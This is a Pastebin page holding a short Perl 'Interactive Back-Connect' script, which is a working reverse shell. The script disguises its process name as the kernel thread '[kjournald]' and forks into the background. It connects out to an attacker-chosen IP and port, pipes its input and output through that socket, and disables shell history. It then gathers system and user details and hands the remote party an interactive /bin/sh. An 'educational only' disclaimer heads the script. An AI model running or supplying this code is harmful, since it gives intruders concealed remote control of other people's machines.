Advertisement
hackerscommunity

Interactive Back-Connect perl script

Feb 29th, 2016
430
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  Interactive Back-Connect perl script
  4. #
  5. #  Description:
  6. #  This script will make an outbound TCP connection
  7. #  to  a  IP   and   port.  The   recipient   will
  8. #  be given  a  shell  running  as the current user
  9. #
  10. #  Copyright 2016 (c) Todor Donev
  11. #  todor.donev@gmail.com
  12. #  http://www.ethical-hacker.org/
  13. #  https://www.facebook.com/ethicalhackerorg
  14. #  http://pastebin.com/u/hackerscommunity
  15. #
  16. #  Disclaimer:
  17. #  This  or  previous program  is  for Educational
  18. #  purpose ONLY. Do not use it without permission.
  19. #  The  usual  disclaimer  applies, especially the
  20. #  fact  that  Todor Donev  is  not liable for any
  21. #  damages caused by direct or indirect use of the
  22. #  information or functionality  provided by these
  23. #  programs.  The author or any  Internet provider
  24. #  bears  NO  responsibility for content or misuse
  25. #  of these programs or  any  derivatives thereof.
  26. #  By  using  these  programs  you accept the fact
  27. #  that any damage (dataloss, system crash, system
  28. #  compromise,  etc.)  caused  by the use of these
  29. #  programs is not  Todor Donev's  responsibility.
  30. #
  31. #  Use  at  your  own risk and educational purpose
  32. #  ONLY!
  33. #
  34. use IO::Socket;
  35. use Socket;
  36. my $host = $ARGV[0];
  37. my $port = $ARGV[1] || 13333;
  38. my $proc = "[kjournald]";
  39. exit if ($port<1024||$port>65535);
  40. exit if(!defined $host || !defined $port);
  41. $0 = "$proc"."\x0"x16;
  42. my $pid=fork;
  43. exit if $pid;
  44. exit unless defined($pid);
  45. socket(SOCKET, PF_INET,SOCK_STREAM,getprotobyname('tcp')) or exit;
  46. connect(SOCKET, sockaddr_in("$port",inet_aton("$host"))) or exit;
  47. system SOCKET->autoflush();
  48. open(STDIN, ">&SOCKET");
  49. open(STDOUT,">&SOCKET");
  50. open(STDERR,">&SOCKET");
  51. system("unset HISTFILE;uname -a;id;w;echo");
  52. system("echo 'Kill perl process id: $$'");
  53. system("/bin/sh -i");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement